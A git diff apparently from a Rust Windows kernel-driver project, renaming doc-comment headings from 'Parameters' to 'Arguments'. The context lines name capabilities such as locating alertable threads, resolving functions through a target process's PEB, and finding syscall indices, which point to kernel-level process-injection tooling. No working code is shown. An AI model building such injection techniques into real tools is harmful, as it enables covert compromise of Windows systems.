|
||||
///
|
||||
/// - `function_name`: A string slice containing the name of the function.
|
||||
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||
|
||||
@@ -13,7 +13,7 @@ impl Handle {
|
||||
///
|
||||
/// This function wraps a raw Windows `HANDLE` inside the `Handle` struct.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `handle`: A raw Windows `HANDLE` to wrap.
|
||||
///
|
||||
|
||||
@@ -22,7 +22,7 @@ use {
|
||||
/// two parameters, `IRP` (I/O Request Packet) and `IO_STACK_LOCATION`, and returns
|
||||
/// an `NTSTATUS` result, indicating the success or failure of the operation.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `*mut IRP`: Pointer to an IRP (I/O Request Packet), which represents an I/O request in Windows.
|
||||
/// - `*mut IO_STACK_LOCATION`: Pointer to the current I/O stack location.
|
||||
|
||||
@@ -62,7 +62,7 @@ pub mod process_attach;
|
||||
|
||||
/// Retrieves the input buffer from the given IO stack location.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `stack`: A pointer to the `_IO_STACK_LOCATION` structure.
|
||||
///
|
||||
@@ -82,7 +82,7 @@ pub unsafe fn get_input_buffer<T>(stack: *mut _IO_STACK_LOCATION) -> Result<*mut
|
||||
|
||||
/// Retrieves the output buffer from the given IRP.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `irp`: A pointer to the `IRP` structure.
|
||||
///
|
||||
@@ -102,7 +102,7 @@ pub unsafe fn get_output_buffer<T>(irp: *mut IRP) -> Result<*mut T, NTSTATUS> {
|
||||
|
||||
/// Retrieves the PID of a process by its name.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `process_name`: A string slice containing the name of the process.
|
||||
///
|
||||
@@ -155,7 +155,7 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||
|
||||
/// Retrieves the address of a specified function within a module in the context of a target process.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `pid`: The process ID (PID) of the target process.
|
||||
/// - `module_name`: The name of the module (DLL) to be searched for. The search is case-insensitive.
|
||||
@@ -228,7 +228,7 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
|
||||
/// Find for a thread with an alertable status.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target_pid`: PID that will fetch the tids.
|
||||
///
|
||||
@@ -295,7 +295,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
|
||||
|
||||
/// Initializes the OBJECT_ATTRIBUTES structure.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `object_name`: The name of the object (optional).
|
||||
/// - `attributes`: The attributes of the object.
|
||||
@@ -327,7 +327,7 @@ pub fn InitializeObjectAttributes(
|
||||
|
||||
/// Reads the content of a file given its path.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `path`: The path to the file.
|
||||
///
|
||||
@@ -439,7 +439,7 @@ pub fn return_module() -> Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
|
||||
|
||||
/// Validates if the given address is within the kernel memory range.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `addr`: A 64-bit unsigned integer representing the address to validate.
|
||||
///
|
||||
@@ -453,7 +453,7 @@ pub fn valid_kernel_memory(addr: u64) -> bool {
|
||||
|
||||
/// Validates if the given address is within the user memory range.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `addr`: A 64-bit unsigned integer representing the address to validate.
|
||||
///
|
||||
@@ -468,7 +468,7 @@ pub fn valid_user_memory(addr: u64) -> bool {
|
||||
/// Generic function that performs the operation with the lock already acquired.
|
||||
/// It will acquire the lock exclusively and guarantee its release after use.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `push_lock` - Pointer to the lock to be acquired.
|
||||
/// - `operation` - The operation to be performed while the lock is active.
|
||||
|
||||
@@ -52,7 +52,7 @@ pub static mut ZW_PATTERN: [u8; 30] = [
|
||||
/// and then converts it into a fixed-size array of `N` bytes. The resulting array is passed to the
|
||||
/// provided conversion function (`func`), which returns a value of type `T`.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `slice`: A reference to a byte slice (`&[u8]`) that is expected to have exactly `N` bytes.
|
||||
/// - `func`: A function that takes an array of `N` bytes (`[u8; N]`) and returns a value of type `T`.
|
||||
@@ -76,7 +76,7 @@ fn slice_to_number<T, const N: usize>(slice: &[u8], func: fn([u8; N]) -> T) -> R
|
||||
|
||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
|
||||
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
|
||||
@@ -113,7 +113,7 @@ where
|
||||
|
||||
/// Finds the address of a specified Zw function.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `name`: The name of the Zw function to find.
|
||||
///
|
||||
@@ -157,7 +157,7 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
||||
|
||||
/// Retrieves the syscall index for a given function name.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `function_name`: The name of the function to retrieve the syscall index for.
|
||||
///
|
||||
|
||||
@@ -18,7 +18,7 @@ impl PoolMemory {
|
||||
/// This function uses `ExAllocatePool2` to allocate a block of memory from the Windows kernel
|
||||
/// pool. It returns `None` if the allocation fails, or `Some(PoolMemory)` if successful.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `flag`: Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`.
|
||||
/// - `number_of_bytes`: The size of the memory block to allocate, in bytes.
|
||||
|
||||
@@ -23,7 +23,7 @@ impl ProcessAttach {
|
||||
/// process using `KeStackAttachProcess`. This allows the current thread to operate within
|
||||
/// the target process context.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target_process`: A pointer to the target process (`PRKPROCESS`) to attach to.
|
||||
///
|
||||
|
||||
@@ -44,7 +44,7 @@ impl OwnedUnicodeString {
|
||||
/// is properly null-terminated. The resulting wide string is stored in an `OwnedUnicodeString`,
|
||||
/// which can later be converted to a `UNICODE_STRING` for use in kernel APIs.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `s`: A reference to the Rust string slice to be converted.
|
||||
///
|
||||
|
||||
Reference in New Issue
Block a user